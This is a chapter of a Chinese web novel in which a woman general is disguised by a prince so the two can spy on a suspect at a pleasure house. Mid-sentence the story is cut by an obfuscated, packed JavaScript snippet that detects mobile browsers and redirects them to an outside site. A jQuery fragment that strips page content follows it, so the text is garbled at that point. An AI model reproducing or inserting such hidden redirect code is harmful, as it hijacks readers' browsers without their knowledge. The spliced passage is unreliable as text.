25. 易容
作品:《青禁客》 琼醉阁今日办了场舞会,说是路过的老老少少都能进去一饱眼福,还能赏得一口好酒,这舞会戌时才开始,这才刚过酉时,门口就围了不少人。
邓夷宁一女子也在其中。
昨日与李昭澜大吵一架,那人非不让自己继续调查下去,还说这是为了她好,都是些场面话,难道她听不出来吗?
邓夷宁立于人群之中,目光扫过那些兴致盎然的男人们。她一身蓝色襦裙,外罩墨色披风,虽然不显眼,但到底是个女子,她贸然前去定是会引人注目,若陆英一党也在里头,那岂不是打草惊蛇了。
她本想找魏越带自己走一趟,又想起昨日李昭澜说了,魏越已经回了大宣城内,她现在除了找李昭澜,根本没法子进去。可李昭澜神出鬼没的,分明昨夜睡下前都还在屋内,半夜醒来人就不见了。
邓夷宁难受极了,可她现在也拉不下脸去求李昭澜。她抹了抹腰间的银袋,心里盘算着要不要花些银钱,买通阁里的仆役混进去看看,可又怕对方看出端倪,反倒弄巧成拙。
“烦死了……”她低声自语,余光瞥见一队穿着绣着金长袍的公子哥儿谈笑着往这边走来,其中一个人让她眯了眯眼——
陆英。
他今日换了身暗青色窄袖长袍,袍底金丝绣着精美的花朵,腰间系着镶嵌的玉石腰带,举手投足间倒真有书生文人的儒雅。
一行人大摇大摆往这头走着,前头还有小斯为几人开路,饶是李昭澜那奢侈的皇子模样,也没这几位活得风采。
邓夷宁低下了头,往路人身后隐了隐,怕那几人认出自己。
眼看着那几人进了琼醉阁,她心头更是堵得慌,昨日是自己大放厥词说不要理会李昭澜这种碌碌无为的风流纨绔子弟,他身为高高在上的皇子,听到这话岂不是恨的她牙痒痒。
正踌躇间,背后撞到了人,一股熟悉的味道撞进鼻腔,她下意识就要转身道歉,可那人却按住她的肩膀不让动,熟悉的嗓音带着几分戏谑在耳边响起:“将军做事何时犹豫不决了?”
邓夷宁顿时一肚子火,冷笑道:“殿下不是不让我查吗?怎么,这会儿倒是自己送上门来了?”
李昭澜不怒反笑:“将军息怒,若不是我,今日这琼醉阁你怕是进不去了。”
火气来的快,去的也快,像是打了霜的茄子,蔫了吧唧的。
李昭澜将人一带,面朝着自己,将她的脸按进胸膛,带着人转身往反方向走去。这人带着邓夷宁七拐八拐的进了个小巷子,放开邓夷宁后,李昭澜推开了身后院子的大门。
“进去吧。”
邓夷宁跟在他身后进了院子,小院干干净净的,只有墙角摆了几盆花,院里站着魏越,和那日灯会前见到的花簪娘。
“少主,少夫人。”魏越开口。
邓夷宁进了屋子,这才把目光落到李昭澜身上。他今日的装束倒是不多见,成年男子本该高高束起的长发,如今成了干净利落的马尾,鸦青刻丝水纹锦缎,身侧挂着一把长剑。
他转过头,额间竟多了个抹额。
李昭澜的眉目本就生的极好,纵然是在深宫那吃人的场景中混成了一副风流子模样,依旧掩不住身上那与生俱来的少年之气。
邓夷宁的目光不受控制地落在他身上,她在西戎见过不少外族男子,那五官样貌比大宣的男子好上百倍不止。可此刻她不得不承认,这男人是打娘胎里出来的好看。
比她在象姑馆瞧见的那些男子好看了千倍万倍。
她甚至怀疑,那些个莺莺燕燕若是瞧见了眼前这副模样,恐怕是抢破头也要把人拐回家供起来。
邓夷宁盯得出神,心神微微晃了晃,忽然间意识到自己盯得太久,忙不迭移开视线,咳了两声。
李昭澜看着她爬上红晕的脸,不由得觉得好笑,将军竟也是个看表皮外貌之人。
邓夷宁耳根微微发烫,可表面依旧故作镇定:“你这副模样是要作甚?”
李昭澜没回答,给魏越递去一个眼神,后者立刻领会,对着邓夷宁做了个“请”的手势,那花簪娘也点了点头,先她一步进了屋子。
屋子的陈设与院内天差地别,推开门就闻到李昭澜身上沉香的味道。正中央是一张紫檀雕花案几,上头放着琉璃花瓶,插着几只娇滴滴的花朵。
邓夷宁往里头瞧去,那花簪娘正在一张不大的梳妆桌前摆弄着胭脂抹粉,身后的圆桌上是五颜六色的鲜花。
花簪娘等她坐下后,手脚麻利的开始今日的妆扮。等她从屋内出来时,正见李昭澜同魏越在亭子里下棋。
邓夷宁一身粉色襦裙,外罩一件轻纱大袖衫,如彩云般飘动,耳后别了一只娇艳的牡丹,她有些不适应地往外挪了两步,仔细一看,露出的颈间也扫了些许胭脂。
李昭澜抬眸看了她一眼,手中的棋子顿了顿,忽而轻笑一声,将棋子放下,起身道:“将军这一身真不错。”
魏越跟着抬头,看了一眼,也是不由得一愣。邓夷宁虽称不上粗放,但也习惯了骑装劲服,平日里叫她打扮一番跟要了命一样,那性子倔得要死。
邓夷宁被盯得有些不自在,干脆提起裙摆大大咧咧就往李昭澜面前走。
“这衣服什么东西?穿成这样怎么查案?”
李昭澜帮她拉了拉外衫,淡淡道:“这衣裳的模样是今日琼醉阁女子的装束,我让魏越去布坊挑了件大致的模样,这叫易容,懂吗?”
邓夷宁白了他一眼,没说话。她总觉得身上别扭的很,哪儿都很难受,但为了能进去,她忍了!
李昭澜的手顺着衣襟往上,轻轻柔柔的。邓夷宁正要开口,却感觉到他的手落在颈间,指腹轻轻拂过那层淡淡的胭脂粉。
“连这里都涂了?”他的声音带了点喑哑。
邓夷宁下意识往后退了一步,奈何这胭脂实在扫得太细,偏偏又不能一抹就掉,只是咬牙道:“嗯,说是好看些。”
李昭澜意味不明的“嗯”了一声,目光微转,落到她的眉眼上。
“这样进去,确实不会引人怀疑。”他顿了顿,嘴角轻轻勾起,眼中浮起一丝促狭的笑意,“可惜,少了点神韵。”
邓夷宁一怔:“什么?”
李昭澜微微低头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292298|166329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,落在她耳畔:“琼醉阁的姑娘,眼里是要有风情的。”
邓夷宁:“……”
魏越瞧着两人这副模样,偏过头去,非礼勿视。
邓夷宁猛地一推他,咬牙道:“那便劳烦昭王殿下教教我,该如何有风情?”
李昭澜抱着手臂,低低笑道:“这副模样自是不行,将军看起来好似要杀了本殿一般,不妥。”
言罢,李昭澜一只手揽在她肩上,半抱着邓夷宁直奔琼醉阁。
门前的男人依旧扎着堆,伸着脖子一个劲往里够,但大多是落在门口那些个姑娘的胸口前。
两人挤过人群,在目光中跨过大门。
大厅之中,琵琶声悠扬婉转,几名舞姬正摆弄着身姿,披帛随着手抛的动作向外散去。舞姬的手腕和脚腕挂着铃铛,随着舞步叮铃作响,面帘下的笑容勾人心弦。
一层几乎是坐满了人,酒香四溢。李昭澜看也不看,直奔三层,打算去上次那个隔间,却在抬手时一顿,清楚地听见了里间传出的声音。
断断续续的喘息声,伴随着男子低沉暧昧的笑声传入邓夷宁的耳朵,她瞬间往后倒退一步,强装镇定地别开脸。
李昭澜手指在门上滑下,指甲轻轻一点。
“换个地方。”似是在征求邓夷宁的意见,但话出口的瞬间,已经跨出去了一步。
绕着三层走了一圈,回到了楼梯口附近。
隔间在上次的正对面往左偏一格,和陆英几人的隔间贴的近,耳朵贴在墙上,呼吸声都能落在耳里。
邓夷宁放下竹帘,低声道:“怎么办?”
李昭澜示意她闭嘴,摇了摇头。
做坏事的人,小动作格外的多,比如现在的邓夷宁。她的手不是扣着李昭澜的衣角,就是拨弄着自己鞋上垂下的小穗儿。
今日三层办事儿的人格外的多,声音此起彼伏,偶尔有些个姑娘格外兴奋,尖叫声直冲脑门,邓夷宁已经从面红耳赤听到麻木无感了。
也不知过了多久,她感觉自己都睡了一觉,直到下头传来一阵欢呼,邓夷宁这才惊醒。她起身就想伸头往下看,却被李昭澜一把拉住,一屁股坐在男人腿上,两人同时往后一倒,桌子和屏风也倒在地下,发出巨大的响动。
邓夷宁愣在原地一动不敢动,生怕自己又闯了祸。
就在两人安静的一瞬,隔壁悠悠的传出一句声:“公子,别给姑娘折腾坏了,长夜漫漫,春宵值千金啊,哈哈哈——”
李昭澜伸手揉了揉胸膛前邓夷宁的后颈肉,软肉手感不错,捏的邓夷宁反手一巴掌甩在男人大腿上,发出重重的闷哼声。
男人吃痛地收回手,不再骚扰邓夷宁。她撑着男人的腿起身,起身前,又拍了他一巴掌。
李昭澜:“……?”
邓夷宁对着他挤眉瞪眼,除了生气和不满,李昭澜看不懂其他的含义。他坐起身,凑近邓夷宁的脸,小声说:“怎么了?”
男人的呼吸打在她脸上,开口是淡淡的茶香,混着他中午喝过的酒酿,味道一言难尽。邓夷宁不动声色地扭过头,与男人拉开距离。